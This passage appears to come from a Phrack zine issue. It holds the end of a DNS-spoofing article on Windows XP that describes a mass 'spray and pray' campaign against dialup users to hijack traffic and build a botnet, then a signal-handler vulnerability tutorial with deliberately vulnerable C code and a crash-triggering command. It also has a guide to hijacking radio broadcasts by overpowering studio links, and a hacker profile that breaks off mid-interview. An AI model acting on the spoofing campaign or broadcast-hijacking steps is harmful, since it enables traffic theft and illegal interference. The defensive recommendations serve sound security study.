It can be seen that when the Windows XP computer sent a UDP packet from port 1026 to port 53 of the DNS server, the firewall allowed all incoming UDP traffic to port 1026, regardless of the source IP address or source port of the incoming traffic. Such incoming traffic was allowed to continue until the firewall decided to block access to port 1026, which occurred when there was no incoming traffic to port 1026 for a defined period of time. This timeframe was between 61 seconds and 120 seconds, as it appeared that the firewall checked once per minute to determine if access to ports should be revoked due to more than 60 seconds of inactivity. Assuming that users connected to the Internet would typically perform a DNS query at least every minute, incoming access to port 1026 would always be granted. An attacker on the Internet could therefore send the Windows XP computer spoofed DNS replies without worrying that they might be blocked by the firewall. Such traffic would not generate any logs if the firewall was configured to only Log Dropped Packets. If the firewall was configured to also Log Successful Connections as in this example, these log entries would disappear among the thousands of other log entries. Since the firewall logs connections and not traffic, if the source IP address was set to the Windows XP computer's DNS server, no extra firewall log entries would be created as a result of the DNS spoofing attack.

The netstat command revealed that the Windows XP computer was always listening on UDP port 1026, and as a result, extra DNS replies were silently discarded and did not generate an error message in the event log or an ICMP port unreachable packet. This behaviour, and the reuse of the same source port number for DNS requests, was attributed to the DNS Client service.

‑‑[ 6 ‑ Practical Impact of RFC Guidelines on DNS Spoofing Attacks

The attacker does not require information about the targeted user's DNS requests, such as the IP address of the user's DNS server, the source port of the user's DNS request, or the name that the user was attempting to resolve to an IP address. Therefore the attacker does not require access to the communication link between the targeted user and their DNS server.

Windows XP SP1 matches DNS replies to DNS requests by only the transaction ID and the UDP port number, and both of these values are very predictable. Since the name to be resolved is not matched between the DNS request and the DNS reply, the attacker does not care what domain name the user queried since this domain name does not have to be placed in the attacker's DNS reply. As a result, the attacker can create generic malicious DNS replies that will successfully subvert the targeted user's DNS lookup process regardless of the name the targeted user was attempting to resolve, and regardless of the targeted user's network configuration such as the IP address of their DNS server.

An attacker desiring to compromise as many computers as possible with the least amount of effort and in the shortest timeframe could send twenty DNS replies that look similar to the generic DNS reply used in the example attack on Windows XP in this article, though with the transaction ID ranging from 3 to 22. To be more thorough, the attacker could instead send one hundred DNS replies with the destination port number ranging from 1025 to 1029. The attacker would use a "spray and pray" approach by sending these DNS replies to every IP address in the IP address range belonging to a large dialup Internet Service Provider, and when finished, repeating the process.

A level of success is guaranteed in such an attack scenario considering the huge target base of potential victims awaiting a DNS reply, and considering that Windows XP accepts anything vaguely resembling a DNS reply as a valid DNS reply.

A recipient of the attacker's twenty DNS replies will accept one of them as being valid, resulting in a successful attack, if the recipient: ‑ is using Windows XP with its poorly implemented DNS client resolver (most dialup Internet users are in this category).

‑ recently connected to the Internet within the last 10‑20 minutes or so and therefore haven't performed more than twenty DNS requests (a reasonable proportion of dialup Internet users are in this category). ‑ recently performed a DNS request and is awaiting a DNS reply (a reasonable number of the huge target base of dialup Internet users are in this category).

The targeted Windows XP users would be unlikely to notice the attack, especially if they were relying on Microsoft Internet Connection Firewall to protect them. Analysis of the logs of a more sophisticated firewall and inspection of network traffic would not readily reveal a DNS spoofing attack since the source IP address would not be that of the legitimate DNS server. Furthermore, the source port number and content of the spoofed DNS replies can be crafted to make them appear to be typical NetBIOS background noise which would probably be discarded by the user as useless network traffic floating around the Internet. Finally, the targeted IP address range of a dialup ISP would consist mainly of home Internet users who are not educated in advanced network security concepts.

The IP address in the spoofed DNS replies could be a computer on the Internet under the attacker's control, which is running proxy software for email (SMTP and POP3) and HTTP traffic. The attacker would be able to collect sensitive information including email sent and received as well as passwords for future email retrieval. Web based email and unencrypted login details to web sites would also be collected. The attacker could add content to HTML pages before returning them to the user. Such content could include banner ads to generate money, or a hidden frame with a link to a file on a third party web site effectively causing a distributed denial of service attack against the third party. More seriously, the attacker could increase the scope of the compromise by adding HTML content that exploited one of the publicly known vulnerabilities in Internet Explorer that allows the execution of arbitrary code, but for which there is no vendor patch. For example, vulnerabilities discussed at the web site http://www.computerworld.com.au/index.php?id=117316298&eid=‑255

The "spray and pray" attack approach is useful for creating a network of semi‑randomly chosen compromised computers under the attacker's control, otherwise known as a botnet.

Proxying of HTTP/1.1 traffic could be performed by inspecting the HOST header to determine which web site the user wanted to visit. However, for the purpose of easily and seamlessly proxying traffic, an attacker may decide not to place an Answer section in the spoofed DNS replies. Rather, the attacker may send a non‑authoritative spoofed DNS reply using the Authority and Additional sections of DNS replies to refer the requesting computer to a DNS server under the attacker's control. This would allow the attacker to know exactly what domain the victim computer was attempting to query, and furthermore such spoofed DNS replies may have a long lasting and widespread effect on the victim's computer. A detailed discussion of DNS referrals and testing whether Windows XP could handle them is outside the scope of this article.

‑‑[ 7 ‑ Implementation Comparison

Contributors to the Linux operating system appear to have taken a hardline security conscious approach to interpreting the RFC guidelines, bordering on non‑conformance for the sake of security. The Mozilla web browser running on the author's Debian Linux computer was very restrictive and required DNS replies to meet all of the above nine criteria except for criteria 5, where a UDP checksum value of zero was accepted. An incorrect UDP checksum was accepted when the packet was sent over a local network but not when sent over the Internet. Reviewing the kernel source code indicated that for local networks, the UDP checksum was deliberately ignored and hardware based checking was performed instead for performance reasons. This appeared to be a feature and not a bug, even though it did not comply with RFC 1122 (Requirements for Internet Hosts ‑‑ Communication Layers) which states that "If a UDP datagram is received with a checksum that is non‑zero and invalid, UDP MUST silently discard the datagram".

During testing, the Linux computer used source port numbers 32768 and 32769 to perform DNS queries. The transaction ID was randomly generated, complicating DNS spoofing attacks, though the transaction ID used in the retransmission of an unanswered DNS request was not as random. The choice of transaction ID values appeared robust enough to help defend against DNS spoofing attacks on the Internet since the initial transaction ID value was unpredictable, and the first DNS request would typically be answered resulting in no need for retransmissions.

The iptables firewall on the Linux computer was configured so that the only allowed UDP traffic was to/from port 53 of the legitimate DNS server. When a DNS query was performed and a DNS reply was received, iptables was unable to block extra (spoofed) incoming DNS replies since it is not designed to inspect DNS traffic and allow one incoming DNS reply per outgoing DNS request. However, since the port used to send the DNS query was closed once a valid DNS reply was received, ICMP port unreachable messages were generated for the extra (spoofed) incoming DNS replies. iptables was configured to block and log outgoing ICMP network traffic. Reviewing the logs revealed ICMP port unreachable messages that were destined to the legitimate DNS server, which were a good indication of a DNS spoofing attack. Further to this evidence of a DNS spoofing attack, since the DNS replies must come from port 53, analysis of the network traffic using a packet dissector such as Ethereal revealed traffic that looked like DNS replies apparently originating at the legitimate DNS server.

‑‑[ 8 ‑ Conclusion

The RFC guidelines simplify DNS spoofing attacks against DNS client resolvers since the attacker does not require information such as the IP address of the potential victim's DNS server or the contents of DNS queries sent by the potential victim. Microsoft Windows XP is more susceptible to DNS spoofing attacks than Linux due to its poor implementation of the RFC guidelines. Further simplifying DNS spoofing attacks are Windows XP's inadequate matching of DNS requests to DNS replies, and the predictable port number and transaction ID values ‑ behaviour that could be changed without violating the RFC guidelines. Evidence of DNS spoofing attacks is minimised by the ability to disguise DNS replies as NetBIOS traffic, the lack of configuration granularity and traffic inspection of some firewalls, and Windows XP's failure to generate ICMP error messages for excessive DNS replies.

RFC 791 (Internet Protocol) stating that a program must be "liberal in its receiving behavior" and "must accept any datagram that it can interpret" may have been acceptable in 1981 when the RFC was created and interoperability was more important than security. However, the Internet has changed from a somewhat trustworthy user base of representatives from educational institutions and the US Department of Defense to now include hackers and scammers, making security a high profile consideration. Perhaps it is time for software based on this outdated perception of the Internet to be changed as well.

The Internet community continues to wait for widespread adoption of cryptographic digital signatures used to authenticate DNS transactions, as discussed in RFC 2535 (Domain Name System Security Extensions). In the meantime, the threat of DNS spoofing attacks could be minimised by Microsoft improving the DNS implementation in all of their affected operating systems. Such improvements include using random transaction ID values, checking that the name in a DNS reply matches the name to be resolved in the DNS request, and using a random source port for DNS requests. These improvements would make attacks against DNS client resolvers significantly more difficult to perform, and such improvements would not violate the RFC guidelines.

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

########################################

# Injecting signals for Fun and Profit #

########################################

by shaun2k2 <shaunige@yahoo.co.uk>

‑‑[ 1 ‑ Introduction

More secure programming is on the rise, eliminating more generic program exploitation vectors, such as stack‑based overflows, heap overflows and symlink bugs. Despite this, subtle vulnerabilities are often overlooked during code audits, leaving so‑called "secure" applications vulnerable to attack, but in a less obvious manner. Secure design of signal‑handlers is often not considered, but I believe that this class of security holes deserves just as much attention as more generic classes of bugs, such as buffer overflow bugs.

This paper intends to discuss problems faced when writing signal‑handling routines, how to exploit the problems, and presents ideas of how to avoid such issues. A working knowledge of the C programming language and UNIX‑like operating systems would benefit the reader greatly, but is certainly not essential.

‑‑[ 2 ‑ Signal Handling: An Overview

To understand what signal handlers are, one must first know what exactly a signal is. In brief, signals are notifications delivered to a process to alert the given process about "important" events concerning itself. For example, users of an application can send signals using common keyboard Ctrl combinations, such as Ctrl‑C ‑ which will send a SIGINT signal to the given process.

Many different signals exist, but some of the more common (or useful) ones are: SIGINT, SIGHUP, SIGKILL, SIGABRT, SIGTERM and SIGPIPE. Many more exist, however. A list of available signals, according to the POSIX.1 standard, can be found in the unix manual page signal(7).

It is worth noting that the signals SIGKILL and

SIGSTOP cannot be handled, ignored or blocked. Their 'action' can not be changed.

"What are signal handlers", one might ask. The simple answer is that signal handlers are small routines which are typically called when a pre‑defined signal, or set of signals, is delivered to the process it is running under before the end of program execution ‑ after execution flow has been directed to a signal handling function, all instructions within the handler are executed in turn. In larger applications, however, signal handling routines are often written to complete a more complex set of tasks to ensure clean termination of the program, such as; unlinking of tempory files, freeing of memory buffers, appending log messages, and freeing file descriptors and/or sockets. Signal handlers are generally defined as ordinary program functions, and are then defined as the default handler for a certain signal usually near to the beginning of the program.

Consider the sample program below:

‑‑‑ sigint.c ‑‑‑

#include <stdio.h>

#include <signal.h>

void sighndlr() {

printf("Ctrl‑C caught!\n");

exit(0);

}

int main() {

signal(SIGINT, sighndlr);

while(1)

sleep(1);

/* should never reach here */

return(0);

}

‑‑‑ EOF ‑‑‑

'sigint.c' specifies that the function 'sighndlr' should be given control of execution flow when a SIGINT signal is received by the program. The program sleeps "forever", or until a SIGINT signal is received ‑ in which case the "Ctrl‑C caught!" message is printed to the terminal ‑ as seen below:

‑‑‑ output ‑‑‑

[root@localhost shaun]# gcc test.c ‑o test

[root@localhost shaun]# ./test

[... program sleeps ...]

Ctrl‑C caught!

[root@localhost shaun]#

‑‑‑ EOF ‑‑‑

Generally speaking, a SIGINT signal is delivered when a user hits the Ctrl‑C combination at the keyboard, but a SIGINT signal can be generated by the kill(1) utility.

However simple or complex the signal handler is, there are several potential pitfalls which must be avoided during the development of the handler. Although a signal handler may look "safe", problems may still arise, but may be less‑obvious to the unsuspecting eye. There are two main classes of problems when dealing with signal‑handler development ‑ non‑atomic process modifications, and non‑reentrant code, both of which are potentially critical to system security.

‑‑[ 3 ‑ Non‑atomic Modifications

Since signals can be delivered at almost any moment, and privileges often need to be maintained (i.e root privileges in a SUID root application) for obvious reasons (i.e for access to raw sockets, graphical resources, etc), signal handling routines need to be written with extra care. If they are not, and special privileges are held by the process at the particular time of signal delivery, things could begin to go wrong very quickly. What is meant by 'non‑atomic' is that the change in the program isn't permanant ‑ it will just be in place temporarily. To illustrate this, we will discuss a sample vulnerable program.

Consider the following sample program:

‑‑‑ atomicvuln.c ‑‑‑

#include <stdio.h>

#include <signal.h>

void sighndlr() {

printf("Ctrl‑C caught!\n");

printf("UID: %d\n", getuid());

/* other cleanup code... */

}

int showuid() {

printf("UID: %d\n", getuid());

return(0);

}

int main() {

int origuid = getuid();

signal(SIGINT, sighndlr);

setuid(0);

sleep(5);

setuid(origuid);

showuid();

return(0);

}

‑‑‑ EOF ‑‑‑

The above program should immediately spark up any security concious programmer's paranoia, but the insecurity isn't immediately obvious to everyone. As we can see from above, a signal handler is declared for 'SIGINT', and the program gives itself root privileges (so to speak). After a delay of around five seconds, the privileges are revoked, and the program is exited with success. However, if a SIGINT signal is received, execution is directed to the SIGINT handler, 'sighdlr()'.

Let's look at some sample outputs:

‑‑‑ output ‑‑‑

[root@localhost shaun]# gcc test.c ‑o test

[root@localhost shaun]# chmod +s test

[root@localhost shaun]# exit

exit

[shaun@localhost shaun]$ ./test

[... program sleeps 5 seconds ...]

UID: 502

[shaun@localhost shaun]$ ./test

[... CTRL‑C is typed ...]

Ctrl‑C caught!

UID: 0

UID: 502

[shaun@localhost shaun]$

‑‑‑ EOF ‑‑‑

If you hadn't spotted the insecurity in 'atomicvuln.c' yet, the above output should make things obvious; since the signal handling routine, 'sighdlr()', was called when root privileges were still possessed, the friendly printf() statements kindly tell us that our privileges are root (assuming the binary is SUID root). And just to prove our theory, if we simply allow the program to sleep for 5 seconds without sending an interrupt, the printf() statement kindly tells us that our UID is 502 ‑ my actual UID ‑ as seen above.

With this, it is easy to understand where the flaw lies; if program execution can be interrupted between the time when superuser privileges are given, and the time when superuser privileges are revoked, the signal handling code *will* be ran with root privileges. Just imagine ‑ if the signal handling routine included potentially sensitive code, compromisation of root privileges could occur.

Although the sample program isn't an example of privilege escalation, it at least demonstrates how non‑atomic modifications can present security issues when signal handling is involved. And do not assume that code similar to the sample program above isn't found in popular security critical applications in wide‑spread use ‑ it is. An example of vulnerable code similar to that of above which is an application in wide‑spread use, see [1] in the bibliography.

Non‑reentrant Code

###################

Although it may not be obvious (and it's not), some glibc functions just weren't designed to be reentered due to receipt of a signal, thus causing potential problems for signal handlers which use them. An example of such a function is the 'free()' function. According to 'free()'s man page, free()

"frees the memory space pointed to by ptr, which must have been returned by a previous call to malloc(), calloc() or realloc(). Otherwise, or if free(ptr) has already been called before, undefined behaviour occurs. If ptr is NULL, no operation is performed."

As the man page snippet claims, free() can only be used to release memory which was allocated using 'malloc()', else "undefined behavior" occurs. More specifically, or in usual cases, the heap is corrupted, if free() is called on a memory area which has already been free()d. Because of this implementation design, reentrant signal routines which use 'free()' can be attacked.

Consider the below sample vulnerable program:

‑‑‑ reentry.c ‑‑‑

#include <stdio.h>

#include <signal.h>

#include <syslog.h>

#include <string.h>

#include <stdlib.h>

void *data1, *data2;

char *logdata;

void sighdlr() {

printf("Entered sighdlr()...\n"); syslog(LOG_NOTICE,"%s\n", logdata);

free(data2);

free(data1);

sleep(10);

exit(0);

}

int main(int argc, char *argv[]) {

logdata = argv[1];

data1 = strdup(argv[2]);

data2 = malloc(340);

signal(SIGHUP, sighdlr);

signal(SIGTERM, sighdlr);

sleep(10);

/* should never reach here */

return(0);

}

‑‑‑ EOF ‑‑‑

The above program defines a signal handler which frees allocated heap memory, and sleeps for around 10 seconds. However, once the signal handler has been entered, signals are not blocked, and thus can still be freely delivered. As we learnt above, a duplicate call of free() on an already free()d memory area will result in "undefined behavior" ‑ possibly corruption of the heap memory. As we can see, user‑defined data is taken, and syslog() is also called fromo the sig handler function ‑ but how does syslog() work? 'syslog()' creates a memory buffer stream, using two malloc() invokations ‑ the first one allocates a 'stream description structure', whilst the other creates a buffer suitable for the actual syslog message data. This basis is essentially used to maintain a tempory copy of the syslog message.

But why can this cause problems in context of co‑usage of non‑reentrant routines? To find the answer, let's experiment a little, by attempting to exploit the above program, which happens to be vulnerable.

‑‑‑ output ‑‑‑

[shaun@localhost shaun]$ ./test `perl ‑e 'print

"a"x100'` `perl ‑e 'print

"b"x410'` & sleep 1 ; killall ‑HUP test ; sleep 1 ;

killall ‑TERM test

[1] 2877

Entered sighdlr()...

Entered sighdlr()...

[1]+ Segmentation fault (core dumped) ./test

`perl ‑e 'print "a"x100'`

`perl ‑e 'print "b"x410'`

[shaun@localhost shaun]$ gdb ‑c core.2877

GNU gdb 5.2.1‑2mdk (Mandrake Linux)

Copyright 2002 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General

Public License, and you are

welcome to change it and/or distribute copies of it

under certain conditions.

Type "show copying" to see the conditions.

There is absolutely no warranty for GDB. Type "show

warranty" for details.

This GDB was configured as "i586‑mandrake‑linux‑gnu".

Core was generated by `./test aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'. Program terminated with signal 11, Segmentation fault.

#0 0x4008e9bb in ?? ()

(gdb) info reg

eax 0x61616161 1633771873

ecx 0x40138680 1075021440

edx 0x6965fa38 1768290872

ebx 0x4013c340 1075036992

esp 0xbfffeccc 0xbfffeccc

ebp 0xbfffed0c 0xbfffed0c

esi 0x80498d8 134519000

edi 0x61616160 1633771872

eip 0x4008e9bb 0x4008e9bb

eflags 0x10206 66054

cs 0x23 35

ss 0x2b 43

ds 0x2b 43

es 0x2b 43

fs 0x2b 43

gs 0x2b 43

fctrl 0x0 0

fstat 0x0 0

ftag 0x0 0

fiseg 0x0 0

fioff 0x0 0

foseg 0x0 0

fooff 0x0 0

‑‑‑Type <return> to continue, or q <return> to quit‑‑‑

fop 0x0 0

xmm0 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}} xmm1 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}} xmm2 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}} xmm3 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}} xmm4 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}} xmm5 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}} xmm6 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}} xmm7 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}} mxcsr 0x0 0

orig_eax 0xffffffff ‑1

(gdb) quit

[shaun@localhost shaun]$

‑‑‑ EOF ‑‑‑

Interesting. As we can see above, our large string of 'a's has found its way into several program registers on stack ‑ EAX and EDI. From this, we can assume we are witnessing the "undefined behavior" we discussed earlier, when the signal handler is reentered.

When the sample vulnerable program receives the second signal (SIGTERM), since signals are not being ignored, the signal handler is reentered to handle this second signal, causing something to go very wrong.

But why is this happening?

Since the second memory region (*data2) was free()d during the first entry of the signal handler, syslog() re‑uses this released memory for its own purposes ‑ storing its syslog message, because as the short syslog() explanation above stated, two malloc() calls are present in most syslog() implementations, and thus it re‑uses the newly free()d memory ‑ *data2. After the usage of the memory once held as data2 by syslog(), a second 'free()' call is made on the memory region, because of reentry of the signal handler function. As the free(3) man page stated, undefined behavior *will* occur if the memory area was already free()d, and we happen to know that this was the case. So when 'free()' was called again on *data2, free() landed somewhere in the area containing the 'a's (hence 0x61 in hex), because syslog() had re‑used the freed area to store the syslog message, temporarily.

As the GDB output above illustrates, as long as user‑input is used by 'syslog()' (and it is in this case), we have some control over the program registers, when this "undefined behavior" (corruption of heap in most cases) occurs. Because of this ability, exploitation is most likely a possibility ‑ it is left as an exercise to the reader to play with this sample vulnerable program a little more, and determine if the vulnerability is exploitable.

For the interested reader, 'free()' is not the only non‑reentrant glibc function. In general, it can be assumed that all glibc functions which are NOT included within the following list are non‑reentrant, and thus are not safe to be used in signal handlers.

‑‑

_exit(2), access(2), alarm(3), cfgetispeed(3), cfgetospeed(3), cfsetispeed(3), cfsetospeed(3), chdir(2), chmod(2), chown(2), close(2), creat(3), dup(2), dup2(2), execle(3), execve(2), fcntl(2), fork(2), fpathconf(2), fstat(2), fsync(2), getegid(2), geteuid(2), getgid(2), getgroups(2), getpgrp(2), getpid(2), getppid(2), getuid(2), kill(2), link(2), lseek(2), mkdir(2), mkfifo(2), open(2), pathconf(2), pause(3), pipe(2), raise(3), read(2), rename(2), rmdir(2), setgid(2), setpgid(2), setsid(2), setuid(2), sigaction(2), sigaddset(3), sigdelset(3), sigemptyset(3), sigfillset(3), sigismember(3), signal(3), sigpause(3), sigpending(2), sigprocmask(2), sigsuspend(2), sleep(3), stat(2), sysconf(3), tcdrain(3), tcflow(3), tcflush(3), tcgetattr(3), tcgetpgrp(3), tcsendbreak(3), tcsetattr(3), tcsetpgrp(3), time(3), times(3), umask(2), uname(3), unlink(2), utime(3), wait(2), waitpid(2), write(2)."

‑‑

Secure Signal Handling

#######################

In general, signal handling vulnerabilities can be prevented by

‑‑

1) Using only reentrant glibc functions within signal handlers ‑

This safe‑guards against the possibility of "undefined behavior" or otherwise as presented in the above example. However, this isn't *always* feasible, especially when a programmers needs to accomplish tasks such as freeing memory.

Other counter‑measures, in this case, can protect against this. See below.

2) ignoring signals during signal handling routines ‑

As the obvious suggests, this programming practice will indefinately prevent handling of signals during the execution of signal handling routines, thus preventing signal handler reentry.

Consider the following signal handler template:

‑‑‑ sighdlr.c ‑‑‑

void sighdlr() {

signal(SIGINT, SIG_IGN);

signal(SIGABRT, SIG_IGN);

signal(SIGHUP, SIG_IGN);

/* ...ignore other signals ... */

/* cleanup code here */

exit(0);

}

‑‑‑ EOF ‑‑‑

As we can see above, signals are blocked before doing anything else in the signal handling routine. This guarantees against signal handler reentry (or almost does).

3) Ignoring signals whilst non‑atomic process modifications are in place ‑

This involves blocking signals, in a similar way to the above code snippet, during the execution of code with non‑atomic modifications in place, such as code execution with superuser privileges.

Consider the following code snippet:

‑‑‑ nonatomicblock.c ‑‑‑

/* code exec with non‑atomic process modifications

starts here... */

signal(SIGINT, SIG_IGN);

signal(SIGABRT, SIG_IGN);

signal(SIGHUP, SIG_IGN);

/* block other signals if desired... */

setuid(0);

/* sensitive code here */

setuid(getuid());

/* sensitive code ends here */

signal(SIGINT, SIG_DFL);

signal(SIGABRT, SIG_DFL);

signal(SIGHUP, SIG_DFL);

/* ...code here... */

‑‑‑ EOF ‑‑‑

Before executing privileged code, signals are blocked. After execution of the privileged code, privileges are dropped, and the signal action is set back to the default action.

There are probably more ways of preventing signal vulnerabilities, but the three above should be enough to implement semi‑safe signal handlers.

Conclusion

###########

I hope this paper has at least touched upon possible problems encountered when dealing with signals in C applications. If nothing else can be taken away from this paper, my aim is to have outlined that secure programming practices should always be applied when implementing signal handlers.

Full stop. Remember this.

If I have missed something out, given inaccurate information, or otherwise, please feel free to drop me a line at the email address at the top of the paper, providing your comments are nicely phrased.

Recommended reading is presented in the Bibliography below.

Bibliography

#############

Recommended reading material is:

‑‑

"Delivering Signals for Fun and Profit" http://razor.bindview.com/publish/papers/signals.txt,

Michal Zalewski. Michal's

paper was a useful resource when writing this paper, and many ideas were gained from this paper. Thanks Michal.

"Introduction To Unix Signals Programming" http://users.actcom.co.il/~choo/lupg/tutorials/signals/signals‑programming.html,LUGPs.

"Procmail insecure signal handling vulnerability" ‑ http://xforce.iss.net/xforce/xfdb/6872

"Traceroute signal handling vulnerability" http://lwn.net/2000/1012/a/traceroute.php3

"signal(2) man page" http://techpubs.sgi.com/library/tpl/cgi‑bin/getdoc.cgi?coll=linux&db=man&fname=/usr/share/catman/man2/signal.2.html&srch=signal

"signal(7) man page" http://techpubs.sgi.com/library/tpl/cgi‑bin/getdoc.cgi?coll=linux&db=man&fname=/usr/share/catman/man7/signal.7.html&srch=signal

‑‑

Greets

#######

Greets to:

‑‑

Friends at HDC (or former HDC members), excluded.org,

#hackcanada, all @ GSO,

rider (happy be‑lated birthday!).

All the other great people that I have met online.

‑‑

Thanks guys.

Thank you for your time.

Shaun.

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Pirating A Radio Station ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=| by j kuinga" <kuinga@hotmail.com>

At many Radio Stations to cut costs they now do what is called "central casting." This is where many feeds are produced from one building and handled by a group of engineers.

Why is this important? You could, disrupt the broadcast from the Central Site, to the tower site, and create your own programming, without the hassles of buying a transmitter, getting the FCC licensing, and that type of thing. We're showing you two different ways to have some fun‑‑by interrupting remote broadcasts, and by overtaking the radio station.

Radio Stations typically have Martis which are mini‑transmitters, and Marti Repeaters, typically in the 425‑455 MHz Range. Some Ham Transmitters will work in this range, and if not, check your local radio surplus store.

Martis are typically used to rebroadcast High School Football and basketball games, as well as commercial "live events" and its something as simple as over‑powering the signal, in order to get your message through. Be forewarned, there typically is a live person on the other end of that transmitterXtheyre probably not paying attention, because theyre getting paid $5.50/hourXbut, they have they ability to turn you off.

How to find the frequency? Well, you could always SE the engineer at the station and ask, however, most of them are grumpy old radio buffs, so you might not get anywhere. I suggest a good copy of Police Call, which has a LOT of frequencies in there for things like radio stations.

I use a home‑made setup for finding particular frequencies out. Having some essential tools like a good, directional antenna, frequency counter, and very accurate transmitter, along with breadboard and essential components, typically are common in finding what you need to know. I also drive a Big White Van, complete with Mast and Bucket, so I can optimally 'place' the antenna at the right height and direction, that I obtained at a school auction for reallly cheap. (e.g., under $500, even had 18" racks in it and a nice generator)

Most Radio Stations doing this have what they call a STL, or Studio to Transmitter Link. This is typically in the 800 or 900 Mhz range, and the same, general ideas apply. You find the general direction in which the antenna is pointed, then you overpower the signal. Since you (idealistically) would be within a few miles of the transmitter, not 30 or 50 miles like the Central‑Casting spot, you would overpower the transmitter, and start your own pirate radio station. Most stations however, have an Air monitor, and can turn the remote transmitter off by pressing a button on their STL. However, if youre closer to it, youve got control until the station engineer comes down to manually pull the plug on your transmitter.

If you see black vans with antennas and they look like they're doing sweeps, chances are, they're either a) with the audit crew of the local cable company, or b) looking for your ass.

kuinga@hotmail.com

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack Prophile on scut

phrack.org:~# cat .bash_history

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x04 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ P R O P H I L E O N S C U T ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Phrack Staff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑=[ Specification

Handle: scut

AKA: "The Tower"

Handle origin: Result of spelling "SCUD rocket" as a 12 year old when making up a handle catch him: by email scut@segfault.net Age of your body: 23

Produced in: West Germany

Height & Weight: 198cm, 85kg Urlz: segfault.net/~scut/ Computers: COTS, anything goes ;) Member of: TESO

Projects: exploitation methods, low level architecture wrangling, code analysis and transformation

|=‑‑‑=[ Favorite things

Women: intelligent, humorous, self‑confident and caring Cars: BMW = fast, functional and reliable Foods: Chinese, German cake

Alcohol: Mixed drinks (Tequila + *), white wine Music: U2, 60‑70'ies, ambient, new age Movies: Leon, Matrix

Books & Authors: I dislike fiction, various scientific books Urls: phrack.org/ ;‑), citeseer.ist.psu.edu/directory.html I like: digging some problem to the deepest level I dislike: unjustified authorities, arrogance, ignorance

|=‑‑‑=[ Life in 3 sentences

Born 1980, I just lived a normal peaceful life in Germany. Finished school, high school quite well, went to the military service, started studying. Currently I am studying abroad and thats possibly the most exciting experience so far ;‑)

|=‑‑‑=[ Passions | What makes you tick

To create. In anything I do, I enjoy creating something and deepen my understanding of it. Somehow, however, I lose interest as soon as I think I could understand something completely, but that it would take too much effort.

|=‑‑‑=[ Which research have you done or which one gave you the most fun?

Looking back on the few things I have done, I think it was always fun to tickle people intellectually. The most fun was writing burneye, a simple runtime binary encryption program. I learned lots while doing it and it had some minor impact aswell. Also I wrote a paper about format string vulnerabilities. This was fun to write and back at that time everybody was very curious about this newly discovered class of security vulnerabilities. The basic work was already done and it was fun just to make a few steps further. While its always the case that you have to base your work on someone else's, sometimes you get the feeling of doing something truly new or creative. Then, its always fun.

|=‑‑‑=[ Memorable Experiences

CCCamp 1999, when all TESO members first met eye‑to‑eye and where we had lots of fun together. Meeting interesting people, such as some of the ADM folks.

All the CCC congresses and all the fun that comes with them: friends, beer, and new contacts. Meeting the THC guys, having beer with wilkins and plasmoid.

|=‑‑‑=[ Quotes

"The purpose of computing is insight, not numbers." ‑ Richard W. Hamming

|=‑‑‑=[ Open Interview ‑ General boring questions

Q: When did you start to play with computers?

A: Due to my father working in the computing field I was lucky to first tap some keys at the age of six, around 1985. First hooked up through games I quickly liked the idea to control the machine myself and was fascinated to write my first BASIC program on the C64 when I was nine. This fascination has not decreased ever since, though the languages and computers changed a lot ;‑)

Q: When did you had your first contact to the 'scene'?

A: As many of todays people in the hacking scene, the natural path leads through the warez and cracking realms. In 1995 I was browsing some BBS's and thats how I was drawn into that scene. Then, in the following two years, I moved away from Windows/Warez to more Linux/Programming, and more or less by end of 1997 I was completely into this thing.

Q: When did you for your first time connect to the internet?

A: Through the German Telekom BTX internet gateway, that must have been 1995.

Q: What other hobbies do you have?

A: Martial arts (currently Sanda Wushu, previously some Muaythai) and other sports, having fun with friends. Learning Chinese.

Q: ...and how long did it take until you joined irc? Do you remember the first channel you joined?

A: #warez.de in 1996 on IrcNet.

Q: What's your architecture / OS of choice?

A: IA32 with Debian/sid. Its constantly updated, the packagers know their stuff and its a system by and for developers. I love it.

|=‑‑‑=[ Open Interview ‑ More interesting questions

Q: Who founded TESO and what's the meaning of the name?

A: TESO was founded in 1998 by typo, edi, stanly and oxigen, some austrian hackers.

Q: What's TESO up to these days?

